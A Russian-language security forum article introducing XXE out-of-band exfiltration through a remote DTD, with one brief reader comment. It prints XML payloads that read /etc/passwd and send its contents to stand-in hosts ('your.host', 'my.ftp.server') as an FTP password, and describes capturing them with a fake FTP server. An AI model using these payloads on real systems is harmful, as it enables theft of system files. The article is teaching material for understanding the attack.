Что нового

Article [1] Введение в XXE: Эксфильтрация с удаленным DTD

Vander 0

Vander

Команда форума
10.11.2019
472
1 083
Out-of-band Exfiltration

7.8-Release-Blog-1000x406.jpg

DTD (Document type definition)
  • Определение типа документа (DTD) - это набор объявлений разметки, которые определяют тип документа для языка разметки семейства SGML (GML, SGML, XML, HTML).
    DTD определяет допустимые строительные блоки XML-документа. Он определяет структуру документа со списком проверенных элементов и атрибутов. DTD может быть объявлен встроенным в документ XML или как внешняя ссылка. [1]
    XML использует подмножество SGML DTD.
Что такое эксфильтрация данных?
  • Эксфильтрация данных – это процесс, во время которого злоумышленник извлекает конфиденциальные данные из системы другого компьютера и использует их для личных целей. Поскольку эксфильтрация данных – это просто передача данных по сети, ее достаточно трудно обнаружить. Каждая организация имеет дело с обработкой конфиденциальных данных, что делает атаки, связанные с эксфильтрацией данных, довольно привлекательными для хакеров. Эксфильтрация данных может быть проведена как внутри системы, так и удаленно. Внутреннюю угрозу представляют сотрудники, которые продают секретные данные фирмы для получения прибыли или случайно распространяют их, в то время как внешней угрозой является киберпреступник, который использует определенную уязвимость, чтобы проникнуть в систему, а затем украсть данные.
Out-of-band Exfiltration (Внеполосная эксфильтрация)

Удаленный синтаксический анализ XML не всегда возвращает содержимое напрямую. Если вы загружаете документ, такой как файл данных (.xml) или документ MS Office (.docx), вы можете не получить синтаксический анализ содержимого из этих документов.

Нам нужно найти способ извлекать данные во время синтаксического анализа. К сожалению, в том же DOCTYPE можно ссылаться на объект из другого объекта. Это ограничение проистекает из способа интерпретации синтаксических анализаторов XML.

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
 <!ENTITY file SYSTEM "file:///etc/passwd">
 <!ENTITY notworking SYSTEM "http://xxe.me/&file;">
]>
<data></data>
Эта полезная нагрузка не будет работать
Обход этого ограничения был обнаружен исследователями Алексеем Осиповым и Тимуром Юнусовым, которые позволяют создавать URL-адреса с данными, поступающими от других объектов. Первая версия этой полезной нагрузки использует протокол Gopher.
  • Протокол Gopher - это протокол связи, разработанный для распространения, поиска и извлечения документов в сетях Интернет-протокола. Дизайн протокола Gopher и пользовательского интерфейса основывается на меню и представляет собой альтернативу World Wide Web на ранних этапах, но в конечном итоге впал в немилость, уступив место протоколу передачи гипертекста (HTTP). Экосистему Gopher часто называют эффективный предшественник Всемирной паутины.

На практике предыдущая техника не идеальна. Любой файл с несовместимыми с XML символами (&, \ n, \ x80 и т.д.) Приведет к повреждению URL. /etc /issue - один из тех редких файлов, которые можно безопасно включить.
Предыдущая методика была дополнена вариантом. Этот вариант заменяет Gopher на протокол FTP. Это очень полезно, потому что Gopher устарел и доступен только в старой версии Java.

Следующая полезная нагрузка требует, чтобы удаленный файл DTD был размещен на веб-сервере. Файл DTD выполняет конкатенацию. Конечная цель - определить ftp://test:%file;@my.ftp.server/. Содержимое файла отправляется в виде пароля.

Отправленная полезная нагрузка:

Код:
<?xml version="1.0"?>
<!DOCTYPE data [
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://your.host/remote.dtd">
%dtd;]>
<data>&send;</data>

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://test:%file;@my.ftp.server/'>"> %all;
Чтобы захватить содержимое файла, вам необходимо записать пароль, отправленный на ваш FTP-сервер. Для этой цели можно создать фиктивный FTP-сервер, который отвечает ровно настолько, чтобы записать пароль. (FTP-клиенты не будут аутентифицироваться, если рукопожатие не завершено.)
 
Shodus 0

Shodus

Newbie
11.07.2020
14
28
Интересная статья.
Не знал, что существует протокол Gopher.
 
Верх Низ